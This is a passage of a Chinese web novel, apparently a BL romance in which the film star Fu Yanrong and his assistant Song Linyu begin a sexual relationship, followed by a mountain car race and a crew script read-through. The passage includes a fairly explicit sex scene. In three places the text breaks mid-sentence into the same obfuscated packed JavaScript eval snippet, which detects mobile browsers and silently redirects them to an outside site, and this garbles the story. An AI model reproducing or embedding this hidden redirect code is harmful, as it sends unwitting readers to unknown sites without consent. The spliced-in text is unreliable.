宋临俞身上总是冰凉一片,抱起来竟然意外地舒服,除了不太软没有什么缺点。在他来之前,傅宴容已经把将近五个多小时的粗剪版看了一半。此时,剧情已经要到尾声,角色即将迎来精神与肉.体上的死亡。 傅宴容看得很认真,眼睛却突然被一片冰凉覆住,只留下视线里的漆黑。 此前一点动静都没发出来的宋临俞抬起手,犹豫了一下,才轻声说:“太长了,没必要今天就看完,休息一会,不着急。” 傅宴容没让他放手,反而就着这个动作抓住他的手腕,随后微微低头,在一片黑暗中准确无误地停在了宋临俞面前。 他轻笑着问:“管这么多?季承没和你说这个时候不需要来找我?” 隔得太近,宋临俞能清楚地感受到温热的吐息。他轻轻眨了下眼,堂而皇之地把锅甩给了季承:“没说。” 傅宴容慢吞吞地哦了一声,没戳穿他这个显而易见的谎言。 他起身,任凭宋临俞的手从自己眼前滑落,干脆利落地打开了影音室的灯。 光线照下来的那一瞬间,他们都不约而同地闭了下眼。再睁开的时候,宋临俞呼吸轻轻停滞了一拍。 傅宴容正取下手腕上的皮筋把随意披散的长发扎起来,似笑非笑地弯起眼尾睨他。黑色短袖因为抬手而上滑,露出腰腹间流畅的线条。哪怕没有刻意联想,宋临俞也瞬间回忆起了电影里某些不可言说的画面。 他迅速移开目光,低声说:“感觉你不会好好吃饭,所以过来看一眼……就是这样。” “嗯,那你猜对了。”傅宴容把影音室的门推开,往岛台走,很自然地打开了宋临俞放在桌上的保温袋。 大概是怕他没胃口,宋临俞准备的食物还挺多种多样。而且无一例外,全都还带着热气。傅宴容坐在椅子上随便尝了一块鸡胸肉,随后一句话也没说地放下了筷子。 “……不喜欢吗?”宋临俞看着他沉下来的眉眼,走过去认真地问:“哪里味道不好?” 傅宴容没说什么,只是把碗推了过去,很平静地说:“你自己吃一下不就知道了?” 宋临俞拧起眉心,如临大敌一般在傅宴容对面坐下,另拿了一副碗筷,每份菜都夹了点尝尝。可是,他确实没发现什么口味上的特别问题,带过来的菜也都是傅宴容爱吃的。 他迟疑地看着低着头玩手机的傅宴容,正想开口说话,却听见傅宴容用好像有点不耐烦的语气命令道:“再多吃点。” 宋临俞只能握着筷子把主食也吃了下去。 大概是因为他这样的神色太严肃,片刻后,傅宴容没忍住笑出了声。 宋临俞有些懵地抬眼,看见傅宴容一边查阅手机里的文件,一边靠在椅背上轻声闷笑,说话的声音像从烟雾里拓出来一样轻柔。 “逗你的。多吃点吧,瘦成这样。” 宋临俞握着筷子的指尖骤然缩紧,清隽的指节死死抵住光滑的圆木,力度之大,让手背上都绷起一层格外明显的青筋。 他垂着头,黑色墨发遮住眼底晦暗不明的郁色。 过了一会,傅宴容才听见宋临俞轻轻说了一句谢谢,语速格外迟缓。 傅宴容看了他一眼,突然问:“你为什么没参加高考?” 刚刚,傅宴容把季承发过来的文件看完了。季承说,里面有几份无关紧要的报告和计划书是宋临俞主动想做做看的,审过了没有问题。看来以后不用给他发正式员工的钱,却只把人当生活助理用。 在傅宴容看来,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200707|165034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几份计划书做得不仅仅是没有问题,相反应该称得上优秀。面面俱到,眼光独特,一看就是可造之材。 所以他才问了这个问题。 “出了点事……家里情况也不太好。” 宋临俞看起来不太想回答,避重就轻地揭过了这个话题,可是话音落下,却发现傅宴容在静静地看着自己。 傅宴容漫不经心地给他夹了一筷三文鱼,问:“你原来志愿报的哪里?” “……A大。” “成绩这么好?”傅宴容收回手,托着下巴思索了一会,用有点麻烦的语气说:“A大买进去有点难啊,换一个吧,B大也不错,反正在本市,你还可以常回来玩玩。” “什么?” 宋临俞一时间没反应过来傅宴容话里的意思,过了一会,才不可置信地仓皇抬起了脸。不知道为什么,他的神色有点狼狈,甚至显得有几分失态。 宋临俞对上坐在自己对面笑眯眯的傅宴容的视线,有点艰涩地问:“这是……什么意思?” 傅宴容挑眉,指节不轻不重叩了叩放在桌上的手机,把话说得明明白白:“让你趁九月份开学去上课的意思。” 他看了宋临俞一会,摊开手,大大方方地说:“你接近我是为了还东钰的钱还是别的什么无所谓,至少现在我觉得你这个助理做的不错,很讨人喜欢。所以,趁我还有兴趣之前,把你能拿到的东西拿走。” 宋临俞什么也没说,只觉得胸口有点发闷。半晌,他才摇了摇头,无比坚决地开口,一字一顿地说:“我不要。” 傅宴容发出一点疑惑的鼻音,颇有兴致地给他夹了点菜,道:“我想不出你拒绝的理由。还是说,你有比这更想从我身上得到的东西?” 宋临俞很长一段时间都不知道怎么回答。 他垂眸望着自己碗里傅宴容夹过来的三文鱼,鱼肉晶莹漂亮,丰腴柔和,但还是任人宰割的盘中餐。 而宋临俞的人生,也和这片鱼肉没有区别。被人随意地改动踩踏,很多时候都只需要一句话。 “要改变一个人的一辈子在某种程度上真的很容易。”宋临俞慢慢地想:“如果所有人都和你一样就好了,傅宴容。” 他思考的时间太久,久到傅宴容失去耐心,放下筷子探过身来疑惑地看他。 而傅宴容凑得太近了,近到那滴泪痣就这样伴随着鸦色的长睫在宋临俞眼前一闪而过,让他下意识地闭上了眼睛。 傅宴容垂落的发丝无知无觉地扫过宋临俞的眼睛,让他觉得有点痒。 片刻后,宋临俞意识到傅宴容温热的指尖点上了自己的眼皮,甚至透过纤薄的肌肤烫到了他忍不住发颤的瞳孔。 “把眼睛睁开,看着我。” 傅宴容这样说。 他用这种语气说话宋临俞没法拒绝。于是宋临俞轻轻掀起眼,长睫颤动,听见傅宴容用真心实意请教的语气请问自己:“那给我一个理由,宋临俞。你其实想要从我这里得到什么?” “如果……如果我说是你呢?” 宋临俞静静凝视着蹙起眉心的傅宴容,突然格外郑重的,用梦呓一样轻柔的声音说出了这样的回答。 这让傅宴容难得有片刻走神。 而正是在这一瞬间的走神中,他看见宋临俞仰起头,十分乖顺又虔诚地吻了吻自己的唇。 18.眼泪-p 唇上的触感温软湿热,是傅宴容第一次这样被人胆大包天地亲吻。他直起身向后仰了点,宋临俞却手撑着桌子固执地追了过来。茶色的眸子被氤氲的水汽打湿,显得格外可怜。 傅宴容不满地啧了一声,抬手按在他的唇上。指腹从左向右有些重地按过,缓缓摩/挲揉/捏,让宋临俞唇畔发颤的同时,忍不住泛起一层桃色。 “让你亲了吗?” 傅宴容慢吞吞拉长音调,问出了这句话。他眼尾那颗漂亮的小痣拢着灯火高高扬起,眸中流出来的神色骄矜且漂亮。 宋临俞说不出话,就用那种湿漉漉的眼神看着他。半晌,才模糊不清地吐出一句撒娇似的对不起。 但仍然给人一种道歉不改的感觉。 傅宴容垂眸,看着面前的宋临俞。因为自己后退,他不得不按住桌沿,膝盖本能抵.上座椅靠了过来。岛台上的顶光杂乱地洒下来,把他伶仃皮肉下那截格外柔软的腰线衬得十分诱.人。 长得是挺对胃口的,傅宴容慢慢想。 而且也还算听话。 甚至可以说很乖,很聪明,很贴心。 ……好像没有拒绝的理由。 傅宴容一向对圈子里那种只要有利益看对眼了就能爬/床的交易没什么兴趣。虽然不至于清高到讳莫如深的地步,但他也很讨厌那些主动投怀送抱的男男女女。 目的在脸上写得太明显了,败兴又无聊。 而宋临俞不太一样,他的接近做法一点都不让人讨厌。在不知不觉中,傅宴容就已经默许了他的靠近,并且给了他极大的纵容。 但如果想要更多,需要的代价是不一样的。 傅宴容凝视着宋临俞的眼睛,一字一句地警告道:“宋临俞,做情人得到的不一定会比一个我喜欢的助理更多。” “但你要付出的,绝对远超于现在。” “我给你时间考虑,你最好交上来一个聪明的回答。” 傅宴容平静地向他告知了风险,并且收回了按在宋临俞唇上的手。他懒洋洋地站在岛台边缘,一副准备送客的样子。 可是宋临俞这次却罕见地没有识趣离开。相反,他站好垂眸认真思考了一会儿,手放在漆黑的大理石上轻轻收拢绞紧。 看得出来,他在严肃地考虑傅宴容的话。 片刻后,他抬起头,很认真地回答:“如果我不想要别的呢?哥,我只想留在你身边。” 傅宴容的人生才开了个头,已经听过的表白却比大部分人一辈子都多。他并非不相信一见钟情,毕竟很多粉丝爱上他,往往都只因为某一次见面,或者银幕上的惊鸿一瞥。 而宋临俞的表白,不仅仅只有好听的话。他表现出来的一切,都显得他好像真的很喜欢自己。 某种程度上,傅宴容依赖于他的贴心。甚至在偶尔过于沉溺角色之时,只有宋临俞能把他从深海一样的思绪里叫醒。 但傅宴容仍然觉得宋临俞乖顺得太虚假,太委曲求全。因为他不提出任何得寸进尺的要求。 这种乖巧像一条表里不一的毛毯,遮住了宋临俞底下的真面目。 ……但是这并没有什么关系。 傅宴容漫不经心地想。 至少现在讨人喜欢就可以了。 于是他若有所思地点了点头,然后随意地在岛台边上的高脚椅上坐下,神色冷淡疏懒。接着,像在做一件很平常的事情似的,他伸出手隔空点了点。 如同勾着小动物的下巴一样,宋临俞听见他慢吞吞地说: “好啊,那你过来。” 宋临俞一愣,想从岛台边缘绕过去。可是刚挪了一步,就被傅宴容笑眯眯推开食物的动作按在了原地。 福至心灵地,宋临俞好像懂了他的意思。 他齿关慢慢咬了一下发红的唇瓣,踮起脚跪.上了冰冷的大理石岛台。 大理石黑色的纹理与他苍白肌肤形成的对比格外分明。手撑过去的时候,甚至冷得有点发颤。宋临俞倏地垂下眼,原本松松垮垮挂着的毛绒拖鞋啪嗒一声掉在了地上。 他耳朵微不可察地红了起来。 像某种偷偷跟着主人回家的小猫仔一样,他十分依恋地朝傅宴容靠去。 这种程度也能乖乖听话,傅宴容极大地被取悦了。 所以还没等宋临俞捉到自己的手,傅宴容就曲起手臂环住他的腰,将他整个人提进了怀里。 宋临俞下意识死死用手揽住他的肩膀。他可以活动的空间实在太小,几乎整个人都埋进了傅宴容身上。 傅宴容轻轻笑了一声,掰过他的下巴慢悠悠地贴近,然后又捏了捏宋临俞的脸,在他没反应过来的时候垂眸吻了上去。 这个吻和之前宋临俞主动的那个轻柔的触碰截然相反。傅宴容撬开齿关攻城略地再轻易不过,他格外强势的逡巡过这片柔软的湿地,让宋临俞敞.开一切。 明明这是第一个正式的亲吻,却无比驾轻就熟。 温热的呼吸轻洒过宋临俞紧绷的下颌,使他长睫不住地发颤。 被拥在怀中时,宋临俞能清楚地感受到傅宴容分明的指节按在自己的后腰。随后,傅宴容懒洋洋地撩起布料边缘,游刃有余地上移。 直到被吻得快要窒息,宋临俞才忍不住讨饶。在呼吸的间隙里,他小声地、可怜地、颤颤巍巍地叫着傅宴容的名字。 而造成这一切的罪魁祸首傅宴容无动于衷。于是宋临俞又落下一连串轻而又轻的“哥哥”,再哄人似的啄吻着他的脸侧。 傅宴容被他亲得有点痒,十分没脾气地笑了一下。正想说什么,却感觉到宋临俞搂自己搂得更紧了一点。 然后他停了片刻,伸出舌尖轻轻舔了一下傅宴容的唇。 “只有小狗才乱舔人。” 傅宴容偏过头低笑了一声,重新低下头吻了回去。他这次吻得很凶,把宋临俞眼尾亲出了一片绯红,生理性泪水将落不落地挂在眼眶里,像一片攒起来的珍珠。 手底下肌肤的温度逐渐变得滚烫。傅宴容听见了宋临俞微弱的喘息。分开的那一瞬间,他听见宋临俞怯生生地呜咽了一声,黑发湿淋淋地淌下薄汗。 傅宴容摸了摸他的脸,喉间发出几声闷笑:“亲一下就成这样?” 宋临俞不说话,只是将脸贴在他掌心,默默点了点头。 看他这样,傅宴容有意让人休息会儿。他把人搂在怀里,抬手拿过旁边的玻璃杯喝了口水。没想到水才喝两口,身上隔着轻透布料的某个地方就被人用手轻轻圈了起来。 傅宴容手一顿,似笑非笑地低下头,看见宋临俞正乖乖靠在自己腰边上,费力地隔着布料自力更生。甚至因为那里实在有点太过夸张,他的掌心还有点抖。 傅宴容握着玻璃杯,加重了点语气叫他的名字。 “宋临俞。” 宋临俞有些发懵地抬头。红彤彤的眼睛怔怔地看着他,抿着唇小声问:“怎么了?” 竟然看起来还有点理直气壮。 傅宴容停了一下,把冰凉的杯壁贴在他发红滚烫的脸侧,慢条斯理地问:“你是要喝水,还是要喝别的?” 宋临俞应该是听懂了他的话,喉结滚了滚,用实际行动回答了这个问题。 ……只是这样的行动并不太能满足傅宴容。 他轻轻放下杯子,玻璃与大理石相撞发出一声清脆的声音。雪白的灯光径直打落下来,给人一种无所遁形的羞耻感。 宋临俞的脊背随即贴紧了纯黑的大理石。黑发黏.稠地贴在石台上,棉麻的布料湿漉.漉地吸满了水。傅宴容从容不迫地把可能碰到的阻碍一点点推远,顺便将手覆上了宋临俞的眼睛。 让人睁不开眼的刺目光线消失殆尽,靠过来的只有干燥舒适、骨节分明的掌心。宋临俞的感官知觉在这一刻无限放大。公寓里安静地几乎落针可闻,只能听见极轻的呼吸声。 然后,他不可避免地意识到自己湿润的长睫濡湿了傅宴容的手心。 不知为什么,这个事实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15221696|165034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让他无比羞赧。 无意识绷紧的膝盖蹭了一下傅宴容的腰.侧。随后很快就被他单手捉.住。如同分开沙滩上色泽莹润的贝壳一样,傅宴容不紧不慢地将其推.开。 宋临俞感到略凉的空气沾上了自己的肌肤。他没忍住蜷紧指尖,在掌心刺出一道道紧张的红痕。 而莫名地,傅宴容的动作居然停了下来。宋临俞听见他有点好笑又有点无奈地开口,说:“怕还乱碰。” 接下来宋临俞被触碰到的居然是掌心。傅宴容移开按在他膝上的手,反而轻轻与他泛着薄汗的掌心交握,好像是某种无声的安抚。 宋临俞……往前数十年,除了母亲,没有人会在他害怕的时候握住他的手。而即使是母亲,这样几乎亲昵的触碰也少得可怜。 他停顿良久,一言不发地扣紧了傅宴容的手。在傅宴容有些疑惑歪头的时候,无比依赖的缠了上去。 傅宴容轻轻挑眉,松开为他遮光的手,一边让他闭眼,一边接住了他抬起的腰。 “这么馋?” 傅宴容把他往怀里带了带,用一副很没办法的样子说:“我这里没有run//滑,会痛。” 宋临俞摇了摇头,很固执地靠在他肩上,说:“不需要。” “忍着会难受……” 他轻轻贴了一下傅宴容的脸颊,又很安静很认真地别过脸,看傅宴容带着笑意的脸。 原来傅宴容真的这么好看这么温柔。温柔得让宋临俞觉得自己陷在一场瑰梦里。 如果不是自己别有用心,那梦也许永远不会醒。 傅宴容看了他一眼,觉得宋临俞实在是太像那种专门制造出来的乖巧听话等身玩偶了。 怎么样都说可以,想怎么……都行。 听话到太勾起人的恶.劣因子。 “我也没说要忍着。” 傅宴容亲了一下他的眼睛,指节顺势曲起拂过他的唇角,带着不轻不重的摩.挲力度,漫不经心地等他自己轻轻吻过。 指尖无意识地扣住身前人的手臂,后背绷紧,片刻后,又被温软的掌心安抚般地轻按下来,任由炙.热温度的一点点逼近,逐寸渗.透。 过于滚烫的触觉让宋临俞全身都烧了起来。他只能无助地靠拢灼热的皮肤,像是将温度一点点揉进骨血,方便傅宴容逐渐加快的动作。 傅宴容毫不留情,在这一瞬间把他完全当成了自己所.有.物。如同海浪缱绻着礁石,来势汹汹又不急着褪去 皮肤被反复碾.过,热度浸透肌理,细微的触感从局部蔓延,未曾触及的地方反倒泛起一丝异样的颤栗。 宋临俞倚在大理石餐台边,微微喘息,还未站稳便被带离原地,力气仿佛被抽空。他下意识地捕捉傅宴容的指尖,唇齿相贴间,意识模糊,眼神难以聚焦,连周围的声音都变得遥远起来。 傅宴容笑眯眯地吹了声格外戏谑的口哨,亲了一下他的脸,对他乱七八糟的神态发表了自己的见解。 “这样就要哭了……宝贝,刚刚是不是太自信了点?” 刺目的光斑在视线范围内不停闪过,晃得人眼睛生疼,导致原本一直在眼眶里打转的泪水也即将落下。 宋临俞死死闭上眼把泪珠锁住,有点应激性质地摇了摇头。好像很怕自己在傅宴容面前哭出来一样。 可是他又很想看到傅宴容的脸,于是只能费力地重新把眼皮掀起看着眼前人。过于浓厚的泪水把他浅色的瞳孔都泡得发红,看起来格外凄惨。 傅宴容看他这个样子,动作稍微停了下来,捏住他的下巴带到自己面前,轻声问:“难受?难受怎么不哭出来?” 宋临俞很重地摇了摇头。随后看着他的神色,沉默了很久,才低声说:“哭又没有用。” 傅宴容停顿片刻,很轻地叹息一声,低头亲了亲他湿润的唇瓣,把他抱起来往房间走。 “对我哭有用。” 傅宴容这么说着,突然感受到宋临俞的眼泪落进了自己的掌心。 19.谈话 夜色沉重,山道两侧的灯影被拉得极长,映在银灰色的车身上,如同流动的碎星。 傅宴容一手搭在方向盘上,指尖不轻不重地摩挲着缝线,半开的车窗透进山间微凉的风,拂过他微微低垂的眉眼。 江铭把车开到他旁边,杨婉坐在副驾驶,打开窗户笑眯眯地冲他打了个响指,说:“有家属在,今天江铭肯定赢啊,赌不赌?” 傅宴容偏过头,轻轻嗤笑一声,笑意未达眼底。 熟悉的人都看得出来他今晚有些烦闷,情绪如同山火未燃尽的余烬,只要风一吹,残存的火星就会漫过群山。 对讲机里传来低低的倒数声—— “三、二、一!” 油门瞬间一踩到底,轮胎与地面咬合的声音撕裂夜色,几辆车几乎同一时间弹射而出,尾灯交错,映亮了蜿蜒曲折的山道。 傅宴容的车居中,前方两辆车默契地相靠试图封锁他的路线,他眯了眯眼,指尖微收,方向微调,右脚精准地换挡提速,跑车瞬间窜出包围圈,银灰色的影子掠过夜色,犹如刀刃划开黑暗。 对讲机里传来此起彼伏的叫喊,他轻笑了下,没回应,目光仍沉稳地锁在前方。 山道陡峭,风声呼啸,护栏外是幽深的山谷,远处城市的灯光如碎金散落天幕,前方发卡弯逼近,傅宴容没有丝毫迟疑,手腕精准一拧,轮胎擦着路沿极限漂移,尾灯划出锋利的弧线,在惯性中漂亮落地。 后视镜里,江铭的车影被甩远了。 最后一条直道,终点近在眼前。 傅宴容不紧不慢地将马力加到最大,跑车引擎发出一声近乎嘶吼的怒吼,冲破夜色,带着不可阻挡的凌厉气势掠过终点线。 一片沉默后,身后的对讲机传来或赞或叹的笑声,以及杨婉不服气的抱怨。 傅宴容单手摘下手套,随意扔在副驾驶,紧接着靠进椅背,喉结微不可察地滚动,指尖按了按太阳穴。 心跳尚未完全平复,回忆却仍挥之不去。 空气里残留着汽油与高温摩擦的气息,窗外的风却是凉的,带着一点未散的雨意,渗进骨子里。 傅宴容之前喜欢赛车,是受了一部电影的影响。 电影的台词说,当赛车引擎到达7000转时,所有事情都逐渐褪色,机器变得轻若无物,在指尖消失,只剩下身体在时空中穿梭,七千转,一切美好始于此刻,你能感到它悄然来到你的耳边,让你扪心自问一个最重要的问题:“你是谁?” 六年前,傅宴容尚且需要通过这种极限的方式来把自我同其他碎片剥离,叩问自己的存在。 而现在,在穿过赛道终点线的那一刻,他竟然想起了之前在霁月岚庭的亭中,靠在他身边安安静静掉眼泪的宋临俞。 很多年前,他对宋临俞用一种玩笑似的语气承诺过:“哭对我有用。” 而现在,他只会平静地对宋临俞说:“你不要哭。” 傅宴容和他说自己有错,并不是出于安慰或者其他,而是因为他和宋临俞纠缠不清的开始确实源于他过分的自信和纵容,并且此后,他也仍然在袖手旁观。 车外有人拍了拍车门,傅宴容没动,只是静静阖了阖眼,打开车窗,懒洋洋地问:“什么事?” “找你谈谈。” 来的人是江铭。 他这么说着,靠在傅宴容的车门上,垂下眼打量着车窗里的人。 夜色中,他冷不丁地开口,用有些好笑的语气对傅宴容说:“诶,你知不知道宋临俞一直特别讨厌我?” 傅宴容对这句话没做出什么反应,只是用一种接话的礼貌态度顺着问:“不知道,为什么?” 江铭耸了耸肩:“他觉得我拍戏的时候把你压榨得太狠,偶尔见面都要冷冰冰地剜我好几眼。你不在的这几年,他就差没像小说里写的那样,对我说一句‘天凉了,让江氏破产吧’这样的话了。” 听他说完,傅宴容摇了摇头,“江铭,你实在没有讲笑话的天分。” “我没有开玩笑。”江铭这么说着,神色竟然显得有几分郑重:“你走之后,东钰给了我没办法拒绝的好处来做封口费,所以我连小婉都没说,毕竟,你和宋临俞之前的事越少人知道越好。” “不过那天我还是很惊讶,因为是宋临俞亲自找的我,签合同的时候我们没说什么话,直到最后要走了,他才回头对我说:‘江铭,我是真的很讨厌你。’” 讨厌他什么? 讨厌他在片场跋扈独断的导演风格,讨厌他总是因为一个镜头和傅宴容大吵一架……还是讨厌他见过16岁的傅宴容,讨厌他能成为和傅宴容谈天说地的朋友。 江铭停顿了片刻,似乎在回忆当时的情景。 “可是他说完之后,又对我道歉。” 那天,办公室里站了很多宋临俞的下属。他穿着一身冰冷的黑色西装站在人群之间,神色冷淡,语气锋利,看起来确实是一副天之骄子、高高在上的模样。 但离开的时候,他还是当着那么多人的面,用滞涩又难过的语气,对江铭低声恳求道:“对不起,如果以后傅宴容对你说他不开心,请一定好好陪着他。” 江铭能感觉到,这是个郑重又谦卑的认真请求。 不过江铭当时并没有答应他,只冷冷说:“不劳宋总费心,这是我们作为朋友应该做的。” 说完后,宋临俞沉默了很久,明明他脸上的情绪平淡至极,却让江铭看出了一种几乎承受不住的无力感。 片刻后宋临俞轻轻扯了扯嘴角,也许是自嘲地浅笑了一下,也许是对其他什么的嘲弄,总之,他没有再说话,只是径直推开门,沿着长廊走远了。 他走路的时候脊背挺得很直,身材瘦削,西装笔挺,仍然是很有风度的样子。如果不是他走得太快,快得让人以为这是落荒而逃的话。 江铭一字不落地复述完了当时的场面,随后弯腰拍了拍傅宴容的车窗沿,意思很明显,是在问傅宴容听了有什么想法。 “有话直说。” 傅宴容没理他这冗杂的前情提示,也没发表自己的见解,只是平静地打断了江铭叙述的间幕,示意他开门见山。 “好吧,那我直接问。”江铭单刀直入,“你今晚不开心是因为看见宋临俞了吧?走的时候我看到东钰的人了。” 这没什么不好承认的,傅宴容答得很坦然。 “你现在还喜欢他吗?” 江铭抛出了那个最关键的问题,随后补充道:“这个不需要你回答,虽然我并不清楚你们过去到底发生了什么,但想也想得到应该很严重,否则你不会生这么大的气。” “如果是严重的问题,哪怕真的破镜重圆也不一定能弥补那道裂痕。而看宋临俞那天的样子,他不一定会对你放手。” “这几年东钰的所作所为我们都看在眼里,我只能告诉你,宋临俞绝对不是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15223892|165034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当年认识的那个贴心的助理。作为朋友,为了一绝后患,我的建议是让他彻底死心。” 江铭平常除了讲戏,很难一口气说这么一长串话,他说完去看傅宴容的反应,却见人连眼皮都没抬一下,只是淡淡笑着说:“怎么,这就是你对压榨了我那么久的良心发现吗?” “……我认真的。” “我知道,谢谢。但是江铭,这是我的事。” 傅宴容起身打开车门,抬腿没入湿润的雨气里,他偏过头,十分平静地补充道:“宋临俞的事也是我的事,我不喜欢有别的东西来影响。” 说这句别的东西的时候,他停顿了一拍,语气不自觉地加重,多了几分品不出来的意味不明。 江铭知道傅宴容做的决定从来没人能说动他,闻言只能摊开手,无奈地感慨道:“虽然我早就猜到是这句话,但我们家那位非要我来谈心,我也没办法。” 他这么说着,突然又像想到了什么似的,往前走了两步,追上傅宴容,好奇又疑惑地问:“对了,其实你们之前分手的原因我大概能猜到一点,毕竟宋临俞上位上得不太光彩,东钰10%的股份又在你手里。” “他是一开始就抱着让你签股权让渡协议的想法,才接近你的吧?所以,你们最后分开是因为他得手后事情败露?” 见傅宴容不说话,江铭充分发挥了他作为名导的想象力,继续发散道:“这种场面用长镜头拍出来应该很有魅力,一镜到底,无论是争吵、分手、失望,到最后的人去楼空,都能线性地呈现在同一个时空里。” “再配上你的表演……简直不敢想。傅宴容,我觉得我需要再给你挑一个情感表达到极致的剧本,你说我去找念姐写本子怎么样?不,还是程双双——” 他一扯上电影就说个没完,傅宴容叹了口气,轻飘飘地否定了他的猜想:“猜错了。” “……嗯?” 江铭疑惑地皱起了眉,问:“所以当年的事和股权没关系?” 傅宴容没说是,也没说不是,只是很轻地笑了一下,抬手把手里的车钥匙扔给他,随即懒洋洋地往山下的霁月岚庭走去,慢吞吞地说:“接着猜吧,江导,猜完记得帮我把车开回去。” 江铭对他这个态度束手无策,只能无奈地看了一眼他扔过来的车钥匙,半晌,又轻轻摇了摇头。 “算了。”江铭笑了笑,说:“他有分寸就好。” …… 原本喧哗的山道被留在身后,沿着山路慢慢往下走的傅宴容享受着极限运动后的宁静,顺便不紧不慢地把乖乖听话“给他留足私人空间”的自救系统从屏蔽中放了出来。 他边走边问系统:“原文有关宋临俞的情节,你还是不能查阅吗?” 自救系统有些不好意思的回答:“是的,我试过了,能看的只有宿主你自己的部分,有关其他人的剧情,得等到修罗场才能看见。” 傅宴容对这个答案并不意外,他想了想,继续问:“下一次修罗场什么时候?” “那就是宿主你入组之后的事了。”自救系统在脑海里唰唰翻着书,“也没有太远,因为剧本围读的时候正巧碰上苏唐的生日……宋临俞会来给他庆祝生日。” “生日……?” 听到这个词,傅宴容顿了顿,下意识地打开手机看了一眼日期。 有些好笑的是,日历上的某个数字他也很熟悉,只不过,和苏唐并没有什么关系。 20.制片 《隐面》剧组开机的日期选在4月中旬,因此剧本围读的时间就自然而然定在了4月初。 傅宴容从酒店健身房出来的时候收到群通知,说剧组人员全部都已到齐,大家可以到酒店一楼的会议室里集合了。 通知群里,苏唐发了个表情包,意思是收到收到。紧接着,他又拍了一张自己从机场赶过来的吐舌比耶自拍。 糖糖:「大家愚人节快乐呀!想不到吧,其实我还在路上!音乐节真的好累好累好累哦~」 消息发出来后,下面很快就有几个工作人员班味很重地扣了几百字小作文夸奖他的自拍,说着类似于“苏老师真可爱真漂亮”这种话,让苏唐又甜腻腻地发了两条长语音感谢。 看到群消息的傅宴容:…… 没搞明白苏唐在工作群里发这种东西意义何在,网上很火的那种“新生报道”显眼包吗? 他边看边到了会议室,关上手机,推开了眼前的门。 剧组包的酒店是东钰旗下的东锦逸居,就在影城边上,平日里承接的都是大大小小的剧组。于是会议室也特地为了方便演员剧本围读时看到其余人的反应,做了四面环绕的宽镜。 所以傅宴容推开门的时候,所有人都看见了他。 哪怕他其实打扮得十分低调,也能让人一眼认出。 ——脑后半扎的发尾随意又清爽,纯色的短袖和工装裤衬得身材格外劲瘦有力。黑色口罩与鸭舌帽遮住了大半张脸,只能看见半截高挺的鼻梁,和半掩的漆色双眸下栩栩如生的一颗鸦青泪痣。 整个人极其出挑。 怪不得今天愚人节站姐团建,在场大半演员的站姐都默契地爬了墙发了傅宴容各式各样的活动照片,看起来平时都没少被这张脸蛊惑。 会议室里导演编剧都已经到了,其余的角色演员也几乎把位置坐满,此时都不约而同地起身打招呼。傅宴容礼貌地朝他们鞠了一躬,弯下腰和导演握了握手。 《隐面》的导演最后选定了很久不掌镜的导演周让,某种程度上他在剧组和江铭是两个极端,不过两个人同样都很优秀。傅宴容是第一次和他合作,但也算久仰大名。 傅宴容在自己的位置上坐下,旁边的工作人员上来给他送了一束花,他说了谢谢,把花放在旁边,顺便扫了一眼身边的空位。 苏唐还没到。 根据自救系统给傅宴容的小说剧情来看,《隐面》这部戏足足要拍一整年,其中很大一部分原因是因为主角苏唐。 他不是今天举办一场演唱会,就是明天飞去巴黎看秀,中间还能抽空拍部甜水偶像剧,甚至携暧昧对象上几个恋爱综艺。 涉及的领域比太平洋还宽,轧戏程度也令人发指,就算是傅宴容行程最忙的时候,也忙不成他这样,真不知道到底谁才是影帝。 在一部配置优秀环境不错的剧组里,以一己之力拖慢所有人的进度,也是需要非常强大的心理素质和背景的。 原文小说里解释的理由是,苏唐背靠东钰,自己又优秀无比没人敢惹,拿的是娱乐圈团宠剧本。 不过如果优秀无比指的是给宋临俞烧钱这件事的话,那傅宴容倒确实觉得他挺优秀的。 大家不知道苏唐还要让剧组等多久,但是傅宴容懒得管,自己先和编剧聊了会儿人物小传。 只是话说到一半,面前突然多出来两瓶低糖饮料。 “傅老师程老师辛苦了,要不要喝点饮料休息一下?” 说话的人态度十分友好,不知道的,还以为是傅宴容的助理小孙。 编剧程双双抬头看了一眼,疑惑又不解地推了推眼镜,客客气气地朝人感谢道:“谢谢任制片,实在是客气了。其实您不用操心我们,您看傅老师的助理都没事做了。” 她最后小小开了个玩笑,不过这说的也是实话。资方制片这个位置可比编剧有话语权多了,一般剧组的制片可不会太客气,毕竟他们直接对资金进行监督管理,就算要更换主要演员,也是一句话的事。 有时候某些剧组明明导演剧本都很优秀,拍出来却是个四不像烂剧,很有可能就是制片为了塞进资本的丑儿子提了不少“圈外人建议”。 “哪里哪里,我也是剧组的工作人员。” 